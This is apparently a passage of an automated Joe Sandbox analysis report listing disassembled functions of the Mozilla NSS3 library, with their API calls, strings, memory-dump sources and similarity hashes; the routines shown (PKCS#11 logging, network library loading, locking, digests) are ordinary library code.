PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB84D37

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB84D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CB84D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB84D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CB84DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CB84DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CB84E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CB84D30, 6CB84D83
hSession = 0x%x, xrefs: 6CB84D12, 6CB84D22
pulSize = 0x%p, xrefs: 6CB84DB7
hObject = 0x%x, xrefs: 6CB84D65, 6CB84D75
C_GetObjectSize, xrefs: 6CB84CEE
*pulSize = 0x%x, xrefs: 6CB84E1B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: eeba4a84ccaf6564aa2e94c24e352825ef0d8e1b031d8825a01806ea9c78af82
Instruction ID: c0070e0cadf13f1c024a214d43266cef96825d6e45579f71a44af7025696a7fc
Opcode Fuzzy Hash: eeba4a84ccaf6564aa2e94c24e352825ef0d8e1b031d8825a01806ea9c78af82
Instruction Fuzzy Hash: 3F41F871602154AFDB00DB90DDA8F9E37B9EB4230EF048424F509ABA51EB309C48CFA6

Function 6CB87C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CB87CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB87CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB87CF3

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB87D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CB87D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CB87D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CB87D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CB87D77

Strings

(CK_INVALID_HANDLE), xrefs: 6CB87CEC
hSession = 0x%x, xrefs: 6CB87CCE, 6CB87CDE
pData = 0x%p, xrefs: 6CB87D25
pSignature = 0x%p, xrefs: 6CB87D59
ulSignatureLen = %d, xrefs: 6CB87D72
ulDataLen = %d, xrefs: 6CB87D40
C_Verify, xrefs: 6CB87CB1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: f7b299e2ed1a637f27a79d016ff74831e43e3fa38217df0ad33a46b36d925e00
Instruction ID: 967bbd8165a1b596c4dbdd404aa35f30d8aff23f18cbe8b240f6a62f96ce5d9d
Opcode Fuzzy Hash: f7b299e2ed1a637f27a79d016ff74831e43e3fa38217df0ad33a46b36d925e00
Instruction Fuzzy Hash: D531C571702194AFDB10DF94DD98E9E37F2EB4231DF084424F409BBA11EB308849CBA5

Function 6CB82F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CB82F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB82F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB82F63

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB82F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CB82F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CB82FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CB82FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CB82FE7

Strings

(CK_INVALID_HANDLE), xrefs: 6CB82F5C
C_SetPIN, xrefs: 6CB82F21
hSession = 0x%x, xrefs: 6CB82F3E, 6CB82F4E
ulNewLen = %d, xrefs: 6CB82FE2
pOldPin = 0x%p, xrefs: 6CB82F95
pNewPin = 0x%p, xrefs: 6CB82FC9
ulOldLen = %d, xrefs: 6CB82FB0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 533f3dd67bf3d1a51868e61ecffbf9475c4c57698ab087b4e844afdb62e972c1
Instruction ID: 7e1a9a11a533ecaadce3ac480871e09ab286f2502e890904950c5d291bc16816
Opcode Fuzzy Hash: 533f3dd67bf3d1a51868e61ecffbf9475c4c57698ab087b4e844afdb62e972c1
Instruction Fuzzy Hash: B931B875602184AFDF009F95DD9CF8E7BB6EB4631EF484024F409ABB51EB309848CB96

Function 6CC1CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC1CC7B), ref: 6CC1CD7A

Part of subcall function 6CC1CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CB8C1A8,?), ref: 6CC1CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC1CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC1CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC1CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC1CD8E

Part of subcall function 6CB405C0: PR_EnterMonitor.NSS3 ref: 6CB405D1
Part of subcall function 6CB405C0: PR_ExitMonitor.NSS3 ref: 6CB405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC1CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC1CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC1CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC1CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC1CE48

Strings

freeaddrinfo, xrefs: 6CC1CD9F, 6CC1CE10
getnameinfo, xrefs: 6CC1CDB2, 6CC1CE23
getaddrinfo, xrefs: 6CC1CD88, 6CC1CDF9
ws2_32.dll, xrefs: 6CC1CD75
wship6.dll, xrefs: 6CC1CDE3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 6341a59bc7b7b0c6ea4d5274324bb403b8cb26e585a77eaa7b794d69eaf42605
Instruction ID: 3fa28299491d928527796e4410de95dfa8d854e7c795e599706814b709f6939a
Opcode Fuzzy Hash: 6341a59bc7b7b0c6ea4d5274324bb403b8cb26e585a77eaa7b794d69eaf42605
Instruction Fuzzy Hash: C41108B6E1F16252EB017ABA7C10AAF3D68DF1210CF584534F805D2F40FB20C90997E6

Function 6CC61C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CC613BC,?,?,?,6CC61193), ref: 6CC61C6B
PR_NewLock.NSS3(?,6CC61193), ref: 6CC61C7E

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PR_NewCondVar.NSS3(00000000,?,6CC61193), ref: 6CC61C91

Part of subcall function 6CB3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB421BC), ref: 6CB3BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CC61193), ref: 6CC61CA7

Part of subcall function 6CB3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB3BBEB
Part of subcall function 6CB3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB3BBFB
Part of subcall function 6CB3BB80: GetLastError.KERNEL32 ref: 6CB3BC03
Part of subcall function 6CB3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB3BC19
Part of subcall function 6CB3BB80: free.MOZGLUE(00000000), ref: 6CB3BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CC61193), ref: 6CC61CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CC61193), ref: 6CC61CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CC61193), ref: 6CC61CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CC61193), ref: 6CC61D1A

Part of subcall function 6CC19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB41A48), ref: 6CC19BB3
Part of subcall function 6CC19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB41A48), ref: 6CC19BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CC61193), ref: 6CC61D3D

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CC61193), ref: 6CC61D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CC61193), ref: 6CC61D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CC61193), ref: 6CC61D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CC61193), ref: 6CC61D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CC61193), ref: 6CC61D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CC61193), ref: 6CC61D93
PR_DestroyLock.NSS3(00000000,?,?,6CC61193), ref: 6CC61D9F
free.MOZGLUE(00000000,?,6CC61193), ref: 6CC61DA8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4c0892d214aad7e3bbca91531b9f2b137b3db30e8d2eebd592bcb1ff23de6344
Instruction ID: b80140a423ac42063b09415cb1f52bd57047d723d993f9b5e8da6000243b4d24
Opcode Fuzzy Hash: 4c0892d214aad7e3bbca91531b9f2b137b3db30e8d2eebd592bcb1ff23de6344
Instruction Fuzzy Hash: BE31A4F1E007515BEB219F6AED41A6B76F4EF0564DB044838E84A87F41FB31E518CBA2

Function 6CBB5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CBB5EC0,00000000,?,?), ref: 6CBB5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CBB5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CBB5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CBB5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CBB5EC0,00000000,?,?), ref: 6CBB5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CBB5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CBB5D80

Strings

extern:, xrefs: 6CBB5CEA, 6CBB5D4B
sql:, xrefs: 6CBB5CD1, 6CBB5D36
multiaccess:, xrefs: 6CBB5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CBB5D1A
dbm:, xrefs: 6CBB5D03, 6CBB5D60

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: d0c7ead3101b54fb83b5939df1bd1ee443b71db9eab044bdcbd11dcf0d03589b
Instruction ID: 2aedf7171dd444d0a84acc20465129ba54348d17042cb1078994735cddc8616a
Opcode Fuzzy Hash: d0c7ead3101b54fb83b5939df1bd1ee443b71db9eab044bdcbd11dcf0d03589b
Instruction Fuzzy Hash: 1131C4B07423A15BE7011A28DC4DF7A3768EF12348F144620EE55F7A81FEB2D519C25B

Function 6CBB6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC81DE0,?), ref: 6CBB6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBB6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CBB6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CBB6D82
DER_GetInteger_Util.NSS3(?), ref: 6CBB6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBB6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CBB6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CBB6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CBB6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CBB6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBB7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CBB7033
free.MOZGLUE(?), ref: 6CBB703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CBB7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CBB7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CBB70AF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 2c1ff84d9f1222bc39ffc0f0851ed86b92299527df6274edc4ae4cc4a4868baf
Instruction ID: f7523c6669fcf6beeeae73127a7b589d4f76ae7c4f2544e6ec376664448550a2
Opcode Fuzzy Hash: 2c1ff84d9f1222bc39ffc0f0851ed86b92299527df6274edc4ae4cc4a4868baf
Instruction Fuzzy Hash: 07A1D4719082809BEB188F24DC45B7E32A4DB8130CF244939F959EBA91EF75DC4987A3

Function 6CB7AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7AF39
PR_Unlock.NSS3(?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7AF69
TlsGetValue.KERNEL32 ref: 6CB7B06B
EnterCriticalSection.KERNEL32(?), ref: 6CB7B083
PR_Unlock.NSS3(?), ref: 6CB7B0A4
TlsGetValue.KERNEL32 ref: 6CB7B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CB7B0D9
PR_Unlock.NSS3 ref: 6CB7B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB7B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB7B182

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB7B177

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB5AB95,00000000,?,00000000,00000000,00000000), ref: 6CB7B1C2

Part of subcall function 6CBA1560: TlsGetValue.KERNEL32(00000000,?,6CB70844,?), ref: 6CBA157A
Part of subcall function 6CBA1560: EnterCriticalSection.KERNEL32(?,?,?,6CB70844,?), ref: 6CBA158F
Part of subcall function 6CBA1560: PR_Unlock.NSS3(?,?,?,?,6CB70844,?), ref: 6CBA15B2

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 22165782cccfa56aef65c3b1db1d8aeea4b358ea2406a6414b91a53ac2919b72
Instruction ID: c49c6f9464f86db5b8182f4ab59a318d59793a1bc66bb36886f981703b568853
Opcode Fuzzy Hash: 22165782cccfa56aef65c3b1db1d8aeea4b358ea2406a6414b91a53ac2919b72
Instruction Fuzzy Hash: 5EA1B0B1D00245ABEF109FA4DC45BEEBBB4EF04308F144125EC19A7B51E731E959CBA2

Function 6CBCAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCADB1

Part of subcall function 6CBABE30: SECOID_FindOID_Util.NSS3(6CB6311B,00000000,?,6CB6311B,?), ref: 6CBABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBCADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBCAE08

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBCAE25
PL_FreeArenaPool.NSS3 ref: 6CBCAE63
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CBCAE4D

Part of subcall function 6CAD4C70: TlsGetValue.KERNEL32(?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4C97
Part of subcall function 6CAD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CB0
Part of subcall function 6CAD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCAE93
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CBCAECC
PL_FreeArenaPool.NSS3 ref: 6CBCAEDE
PL_FinishArenaPool.NSS3 ref: 6CBCAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCAEF5
PL_FinishArenaPool.NSS3 ref: 6CBCAF16

Strings

security, xrefs: 6CBCADEE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 4bf6d6943a89cb1d407fdc0dfd69522813437111d2c2bf116883c821f94070b1
Instruction ID: acfbfdeef225a7bd50be12d2b2d1754354e025fcd138b6a05ac6df5e992fbcad
Opcode Fuzzy Hash: 4bf6d6943a89cb1d407fdc0dfd69522813437111d2c2bf116883c821f94070b1
Instruction Fuzzy Hash: 764107B2A0428567EB215B14EC49BBE32B8EF4231CF240525E954E6F81FB3599488AD7

Function 6CC6AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19890: TlsGetValue.KERNEL32(?,?,?,6CC197EB), ref: 6CC1989E

EnterCriticalSection.KERNEL32(?), ref: 6CC6AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CC6AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CC6AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CC6AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC6B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC6B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC6B070
PR_JoinThread.NSS3(?), ref: 6CC6B07B
free.MOZGLUE(?), ref: 6CC6B084
EnterCriticalSection.KERNEL32(?), ref: 6CC6B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CC6B0C4
PR_JoinThread.NSS3(?), ref: 6CC6B0F3
free.MOZGLUE(?), ref: 6CC6B0FC
PR_JoinThread.NSS3(?), ref: 6CC6B137
free.MOZGLUE(?), ref: 6CC6B140

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
